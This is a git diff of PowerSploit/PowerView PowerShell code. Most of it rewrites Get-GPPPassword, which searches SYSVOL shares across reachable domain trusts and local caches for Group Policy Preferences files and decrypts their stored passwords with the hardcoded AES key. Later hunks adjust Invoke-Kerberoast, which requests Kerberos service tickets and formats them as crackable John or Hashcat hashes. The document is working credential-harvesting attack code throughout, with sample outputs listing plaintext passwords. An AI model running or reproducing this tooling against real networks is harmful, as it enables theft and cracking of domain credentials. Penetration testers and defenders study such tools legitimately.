commit
bda533d6d7
|
|
@ -2,246 +2,347 @@ function Get-GPPPassword {
|
|||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
|
||||
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
|
||||
|
||||
PowerSploit Function: Get-GPPPassword
|
||||
Author: Chris Campbell (@obscuresec)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
PowerSploit Function: Get-GPPPassword
|
||||
Author: Chris Campbell (@obscuresec)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
|
||||
Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
|
||||
|
||||
.PARAMETER Server
|
||||
|
||||
Specify the domain controller to search for.
|
||||
Default's to the users current domain
|
||||
|
||||
Specify the domain controller to search for.
|
||||
Default's to the users current domain
|
||||
|
||||
.PARAMETER SearchForest
|
||||
|
||||
Map all reaschable trusts and search all reachable SYSVOLs.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Get-GPPPassword
|
||||
|
||||
NewName : [BLANK]
|
||||
Changed : {2014-02-21 05:28:53}
|
||||
Passwords : {password12}
|
||||
UserNames : {test1}
|
||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
|
||||
Get-GPPPassword
|
||||
|
||||
NewName : {mspresenters}
|
||||
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
|
||||
Passwords : {Recycling*3ftw!, password123, password1234}
|
||||
UserNames : {Administrator (built-in), DummyAccount, dummy2}
|
||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
|
||||
NewName : [BLANK]
|
||||
Changed : {2014-02-21 05:28:53}
|
||||
Passwords : {password12}
|
||||
UserNames : {test1}
|
||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
|
||||
|
||||
NewName : [BLANK]
|
||||
Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
|
||||
Passwords : {password, password1234$}
|
||||
UserNames : {administrator, admin}
|
||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
|
||||
NewName : {mspresenters}
|
||||
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
|
||||
Passwords : {Recycling*3ftw!, password123, password1234}
|
||||
UserNames : {Administrator (built-in), DummyAccount, dummy2}
|
||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
|
||||
|
||||
NewName : [BLANK]
|
||||
Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
|
||||
Passwords : {password, read123}
|
||||
UserNames : {DEMO\Administrator, admin}
|
||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
|
||||
NewName : [BLANK]
|
||||
Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
|
||||
Passwords : {password, password1234$}
|
||||
UserNames : {administrator, admin}
|
||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
|
||||
|
||||
.EXAMPLE
|
||||
PS C:\> Get-GPPPassword -Server EXAMPLE.COM
|
||||
|
||||
NewName : [BLANK]
|
||||
Changed : {2014-02-21 05:28:53}
|
||||
Passwords : {password12}
|
||||
UserNames : {test1}
|
||||
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
|
||||
|
||||
NewName : {mspresenters}
|
||||
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
|
||||
Passwords : {Recycling*3ftw!, password123, password1234}
|
||||
UserNames : {Administrator (built-in), DummyAccount, dummy2}
|
||||
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
|
||||
NewName : [BLANK]
|
||||
Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
|
||||
Passwords : {password, read123}
|
||||
UserNames : {DEMO\Administrator, admin}
|
||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
|
||||
|
||||
password
|
||||
password12
|
||||
password123
|
||||
password1234
|
||||
password1234$
|
||||
read123
|
||||
Recycling*3ftw!
|
||||
Get-GPPPassword -Server EXAMPLE.COM
|
||||
|
||||
NewName : [BLANK]
|
||||
Changed : {2014-02-21 05:28:53}
|
||||
Passwords : {password12}
|
||||
UserNames : {test1}
|
||||
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml
|
||||
|
||||
NewName : {mspresenters}
|
||||
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
|
||||
Passwords : {Recycling*3ftw!, password123, password1234}
|
||||
UserNames : {Administrator (built-in), DummyAccount, dummy2}
|
||||
File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
|
||||
|
||||
password
|
||||
password12
|
||||
password123
|
||||
password1234
|
||||
password1234$
|
||||
read123
|
||||
Recycling*3ftw!
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
|
||||
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
|
||||
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
|
||||
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
|
||||
|
||||
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
|
||||
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
|
||||
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
|
||||
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
|
||||
#>
|
||||
|
||||
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$Server = $Env:USERDNSDOMAIN
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$Server = $Env:USERDNSDOMAIN,
|
||||
|
||||
[Switch]
|
||||
$SearchForest
|
||||
)
|
||||
|
||||
#Some XML issues between versions
|
||||
Set-StrictMode -Version 2
|
||||
|
||||
#define helper function that decodes and decrypts password
|
||||
|
||||
# define helper function that decodes and decrypts password
|
||||
function Get-DecryptedCpassword {
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[string] $Cpassword
|
||||
[string] $Cpassword
|
||||
)
|
||||
|
||||
try {
|
||||
#Append appropriate padding based on string length
|
||||
#Append appropriate padding based on string length
|
||||
$Mod = ($Cpassword.length % 4)
|
||||
|
||||
|
||||
switch ($Mod) {
|
||||
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
|
||||
'2' {$Cpassword += ('=' * (4 - $Mod))}
|
||||
'3' {$Cpassword += ('=' * (4 - $Mod))}
|
||||
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
|
||||
'2' {$Cpassword += ('=' * (4 - $Mod))}
|
||||
'3' {$Cpassword += ('=' * (4 - $Mod))}
|
||||
}
|
||||
|
||||
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
|
||||
|
||||
|
||||
#Create a new AES .NET Crypto Object
|
||||
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
|
||||
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
|
||||
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
|
||||
|
||||
|
||||
#Set IV to all nulls to prevent dynamic generation of IV value
|
||||
$AesIV = New-Object Byte[]($AesObject.IV.Length)
|
||||
$AesIV = New-Object Byte[]($AesObject.IV.Length)
|
||||
$AesObject.IV = $AesIV
|
||||
$AesObject.Key = $AesKey
|
||||
$DecryptorObject = $AesObject.CreateDecryptor()
|
||||
$DecryptorObject = $AesObject.CreateDecryptor()
|
||||
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
|
||||
|
||||
|
||||
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
|
||||
}
|
||||
|
||||
catch {Write-Error $Error[0]}
|
||||
}
|
||||
|
||||
#define helper function to parse fields from xml files
|
||||
function Get-GPPInnerFields {
|
||||
}
|
||||
|
||||
catch { Write-Error $Error[0] }
|
||||
}
|
||||
|
||||
# helper function to parse fields from xml files
|
||||
function Get-GPPInnerField {
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
$File
|
||||
)
|
||||
|
||||
|
||||
try {
|
||||
|
||||
$Filename = Split-Path $File -Leaf
|
||||
[xml] $Xml = Get-Content ($File)
|
||||
|
||||
#declare empty arrays
|
||||
$Cpassword = @()
|
||||
$UserName = @()
|
||||
$NewName = @()
|
||||
$Changed = @()
|
||||
$Password = @()
|
||||
|
||||
#check for password field
|
||||
if ($Xml.innerxml -like "*cpassword*"){
|
||||
|
||||
Write-Verbose "Potential password in $File"
|
||||
|
||||
switch ($Filename) {
|
||||
# check for the cpassword field
|
||||
if ($Xml.innerxml -match 'cpassword') {
|
||||
|
||||
'Groups.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
|
||||
'Services.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
|
||||
'Scheduledtasks.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
|
||||
'DataSources.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
|
||||
'Printers.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
|
||||
'Drives.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Xml.GetElementsByTagName('Properties') | ForEach-Object {
|
||||
if ($_.cpassword) {
|
||||
$Cpassword = $_.cpassword
|
||||
if ($Cpassword -and ($Cpassword -ne '')) {
|
||||
$DecryptedPassword = Get-DecryptedCpassword $Cpassword
|
||||
$Password = $DecryptedPassword
|
||||
Write-Verbose "[Get-GPPInnerField] Decrypted password in '$File'"
|
||||
}
|
||||
|
||||
if ($_.newName) {
|
||||
$NewName = $_.newName
|
||||
}
|
||||
|
||||
if ($_.userName) {
|
||||
$UserName = $_.userName
|
||||
}
|
||||
elseif ($_.accountName) {
|
||||
$UserName = $_.accountName
|
||||
}
|
||||
elseif ($_.runAs) {
|
||||
$UserName = $_.runAs
|
||||
}
|
||||
|
||||
try {
|
||||
$Changed = $_.ParentNode.changed
|
||||
}
|
||||
catch {
|
||||
Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for '$File'"
|
||||
}
|
||||
|
||||
try {
|
||||
$NodeName = $_.ParentNode.ParentNode.LocalName
|
||||
}
|
||||
catch {
|
||||
Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.ParentNode.LocalName for '$File'"
|
||||
}
|
||||
|
||||
if (!($Password)) {$Password = '[BLANK]'}
|
||||
if (!($UserName)) {$UserName = '[BLANK]'}
|
||||
if (!($Changed)) {$Changed = '[BLANK]'}
|
||||
if (!($NewName)) {$NewName = '[BLANK]'}
|
||||
|
||||
$GPPPassword = New-Object PSObject
|
||||
$GPPPassword | Add-Member Noteproperty 'UserName' $UserName
|
||||
$GPPPassword | Add-Member Noteproperty 'NewName' $NewName
|
||||
$GPPPassword | Add-Member Noteproperty 'Password' $Password
|
||||
$GPPPassword | Add-Member Noteproperty 'Changed' $Changed
|
||||
$GPPPassword | Add-Member Noteproperty 'File' $File
|
||||
$GPPPassword | Add-Member Noteproperty 'NodeName' $NodeName
|
||||
$GPPPassword | Add-Member Noteproperty 'Cpassword' $Cpassword
|
||||
$GPPPassword
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($Pass in $Cpassword) {
|
||||
Write-Verbose "Decrypting $Pass"
|
||||
$DecryptedPassword = Get-DecryptedCpassword $Pass
|
||||
Write-Verbose "Decrypted a password of $DecryptedPassword"
|
||||
#append any new passwords to array
|
||||
$Password += , $DecryptedPassword
|
||||
}
|
||||
|
||||
#put [BLANK] in variables
|
||||
if (!($Password)) {$Password = '[BLANK]'}
|
||||
if (!($UserName)) {$UserName = '[BLANK]'}
|
||||
if (!($Changed)) {$Changed = '[BLANK]'}
|
||||
if (!($NewName)) {$NewName = '[BLANK]'}
|
||||
|
||||
#Create custom object to output results
|
||||
$ObjectProperties = @{'Passwords' = $Password;
|
||||
'UserNames' = $UserName;
|
||||
'Changed' = $Changed;
|
||||
'NewName' = $NewName;
|
||||
'File' = $File}
|
||||
|
||||
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
|
||||
Write-Verbose "The password is between {} and may be more than one value."
|
||||
if ($ResultsObject) {Return $ResultsObject}
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-Warning "[Get-GPPInnerField] Error parsing file '$File' : $_"
|
||||
}
|
||||
}
|
||||
|
||||
# helper function (adapted from PowerView) to enumerate the domain/forest trusts for a specified domain
|
||||
function Get-DomainTrust {
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
$Domain
|
||||
)
|
||||
|
||||
if (Test-Connection -Count 1 -Quiet -ComputerName $Domain) {
|
||||
try {
|
||||
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
|
||||
$DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
|
||||
if ($DomainObject) {
|
||||
$DomainObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-Verbose "[Get-DomainTrust] Error contacting domain '$Domain' : $_"
|
||||
}
|
||||
|
||||
try {
|
||||
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Domain)
|
||||
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
|
||||
if ($ForestObject) {
|
||||
$ForestObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-Verbose "[Get-DomainTrust] Error contacting forest '$Domain' (domain may not be a forest object) : $_"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# helper function (adapted from PowerView) to enumerate all reachable trusts from the current domain
|
||||
function Get-DomainTrustMapping {
|
||||
[CmdletBinding()]
|
||||
Param ()
|
||||
|
||||
# keep track of domains seen so we don't hit infinite recursion
|
||||
$SeenDomains = @{}
|
||||
|
||||
# our domain stack tracker
|
||||
$Domains = New-Object System.Collections.Stack
|
||||
|
||||
try {
|
||||
$CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
|
||||
$CurrentDomain
|
||||
}
|
||||
catch {
|
||||
Write-Warning "[Get-DomainTrustMapping] Error enumerating current domain: $_"
|
||||
}
|
||||
|
||||
catch {Write-Error $Error[0]}
|
||||
if ($CurrentDomain -and $CurrentDomain -ne '') {
|
||||
$Domains.Push($CurrentDomain)
|
||||
|
||||
while($Domains.Count -ne 0) {
|
||||
|
||||
$Domain = $Domains.Pop()
|
||||
|
||||
# if we haven't seen this domain before
|
||||
if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {
|
||||
|
||||
Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"
|
||||
|
||||
# mark it as seen in our list
|
||||
$Null = $SeenDomains.Add($Domain, '')
|
||||
|
||||
try {
|
||||
# get all the domain/forest trusts for this domain
|
||||
Get-DomainTrust -Domain $Domain | Sort-Object -Unique | ForEach-Object {
|
||||
# only output if we haven't already seen this domain and if it's pingable
|
||||
if (-not $SeenDomains.ContainsKey($_) -and (Test-Connection -Count 1 -Quiet -ComputerName $_)) {
|
||||
$Null = $Domains.Push($_)
|
||||
$_
|
||||
}
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-Verbose "[Get-DomainTrustMapping] Error: $_"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
try {
|
||||
#ensure that machine is domain joined and script is running as a domain account
|
||||
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
|
||||
throw 'Machine is not a domain member or User is not a member of the domain.'
|
||||
$XMLFiles = @()
|
||||
$Domains = @()
|
||||
|
||||
$AllUsers = $Env:ALLUSERSPROFILE
|
||||
if (-not $AllUsers) {
|
||||
$AllUsers = 'C:\ProgramData'
|
||||
}
|
||||
|
||||
#discover potential files containing passwords ; not complaining in case of denied access to a directory
|
||||
Write-Verbose "Searching \\$Server\SYSVOL. This could take a while."
|
||||
$XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
|
||||
|
||||
if ( -not $XMlFiles ) {throw 'No preference files found.'}
|
||||
# discover any locally cached GPP .xml files
|
||||
Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files'
|
||||
$XMLFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
|
||||
|
||||
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
|
||||
|
||||
foreach ($File in $XMLFiles) {
|
||||
$Result = (Get-GppInnerFields $File.Fullname)
|
||||
Write-Output $Result
|
||||
if ($SearchForest) {
|
||||
Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts'
|
||||
$Domains += Get-DomainTrustMapping
|
||||
}
|
||||
else {
|
||||
if ($Server) {
|
||||
$Domains += , $Server
|
||||
}
|
||||
else {
|
||||
# in case we're in a SYSTEM context
|
||||
$Domains += , [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
|
||||
}
|
||||
}
|
||||
|
||||
$Domains = $Domains | Where-Object {$_} | Sort-Object -Unique
|
||||
|
||||
ForEach ($Domain in $Domains) {
|
||||
# discover potential domain GPP files containing passwords, not complaining in case of denied access to a directory
|
||||
Write-Verbose "[Get-GPPPassword] Searching \\$Domain\SYSVOL\*\Policies. This could take a while."
|
||||
$DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml')
|
||||
|
||||
if($DomainXMLFiles) {
|
||||
$XMLFiles += $DomainXMLFiles
|
||||
}
|
||||
}
|
||||
|
||||
if ( -not $XMLFiles ) { throw '[Get-GPPPassword] No preference files found.' }
|
||||
|
||||
Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
|
||||
|
||||
ForEach ($File in $XMLFiles) {
|
||||
$Result = (Get-GppInnerField $File.Fullname)
|
||||
$Result
|
||||
}
|
||||
}
|
||||
|
||||
catch {Write-Error $Error[0]}
|
||||
}
|
||||
catch { Write-Error $Error[0] }
|
||||
}
|
||||
|
|
@ -1563,18 +1563,18 @@ https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67
|
|||
)
|
||||
}
|
||||
catch {
|
||||
Write-Verbose "[Convert-ADName] Error initialiting translation for '$Identity' using alternate credentials : $_"
|
||||
Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_"
|
||||
}
|
||||
}
|
||||
else {
|
||||
try {
|
||||
Invoke-Method $Translate 'Init' (
|
||||
$Null = Invoke-Method $Translate 'Init' (
|
||||
$ADSInitType,
|
||||
$InitName
|
||||
)
|
||||
}
|
||||
catch {
|
||||
Write-Verbose "[Convert-ADName] Error initialiting translation for '$Identity' : $_"
|
||||
Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_"
|
||||
}
|
||||
}
|
||||
|
||||
|
|
@ -1583,7 +1583,7 @@ https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67
|
|||
|
||||
try {
|
||||
# 8 = Unknown name type -> let the server do the work for us
|
||||
Invoke-Method $Translate 'Set' (8, $TargetIdentity)
|
||||
$Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity)
|
||||
Invoke-Method $Translate 'Get' ($ADSOutputType)
|
||||
}
|
||||
catch [System.Management.Automation.MethodInvocationException] {
|
||||
|
|
@ -2296,8 +2296,8 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
|
|||
}
|
||||
else {
|
||||
$UserSPN = $Object
|
||||
$SamAccountName = $Null
|
||||
$DistinguishedName = $Null
|
||||
$SamAccountName = 'UNKNOWN'
|
||||
$DistinguishedName = 'UNKNOWN'
|
||||
}
|
||||
|
||||
# if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3
|
||||
|
|
@ -2305,7 +2305,12 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
|
|||
$UserSPN = $UserSPN[0]
|
||||
}
|
||||
|
||||
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
|
||||
try {
|
||||
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
|
||||
}
|
||||
catch {
|
||||
Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_"
|
||||
}
|
||||
if ($Ticket) {
|
||||
$TicketByteStream = $Ticket.GetRequest()
|
||||
}
|
||||
|
|
@ -2322,16 +2327,22 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
|
|||
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
|
||||
|
||||
if ($OutputFormat -match 'John') {
|
||||
$HashFormat = "`$krb5tgs`$unknown:$Hash"
|
||||
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
|
||||
}
|
||||
else {
|
||||
if ($DistinguishedName -ne 'UNKNOWN') {
|
||||
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
|
||||
}
|
||||
else {
|
||||
$UserDomain = 'UNKNOWN'
|
||||
}
|
||||
|
||||
# hashcat output format
|
||||
$HashFormat = '$krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Service,OU=Accounts,OU=EnterpriseObjects,DC=asdsa,DC=pf,DC=fakedomain,DC=com SPN: E0518235-4B06-11D1-AB04-00C04FDS3CD2-BADM/aksjdb.asdsa.pf.fakedomain.com:50000 *' + $Hash
|
||||
$HashFormat = "`$krb5tgs`$23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
|
||||
}
|
||||
$Out | Add-Member Noteproperty 'Hash' $HashFormat
|
||||
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
|
||||
Write-Output $Out
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -2413,15 +2424,22 @@ for connection to the target domain.
|
|||
|
||||
Invoke-Kerberoast | fl
|
||||
|
||||
Kerberoasts all found SPNs for the current domain.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Invoke-Kerberoast -Domain dev.testlab.local | fl
|
||||
Invoke-Kerberoast -Domain dev.testlab.local -OutputFormat HashCat | fl
|
||||
|
||||
Kerberoasts all found SPNs for the testlab.local domain, outputting to HashCat
|
||||
format instead of John (the default).
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce
|
||||
$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword)
|
||||
Invoke-Kerberoast -Credential $Cred -Verbose | fl
|
||||
Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl
|
||||
|
||||
Kerberoasts all found SPNs for the testlab.local domain using alternate credentials.
|
||||
|
||||
.OUTPUTS
|
||||
|
||||
|
|
@ -3656,7 +3674,7 @@ http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49
|
|||
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
|
||||
}
|
||||
catch {
|
||||
Write-Verbose "[Get-Domain] The specified domain does '$TargetDomain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
|
||||
Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
|
||||
}
|
||||
}
|
||||
elseif ($PSBoundParameters['Domain']) {
|
||||
|
|
@ -4699,21 +4717,24 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled.
|
|||
$UserSearcher = Get-DomainSearcher @SearcherArguments
|
||||
}
|
||||
}
|
||||
elseif ($IdentityInstance -match '^S-1-.*') {
|
||||
# SID format
|
||||
$IdentityFilter += "(objectsid=$IdentityInstance)"
|
||||
}
|
||||
elseif ($IdentityInstance -match '^CN=.*') {
|
||||
# distinguished names
|
||||
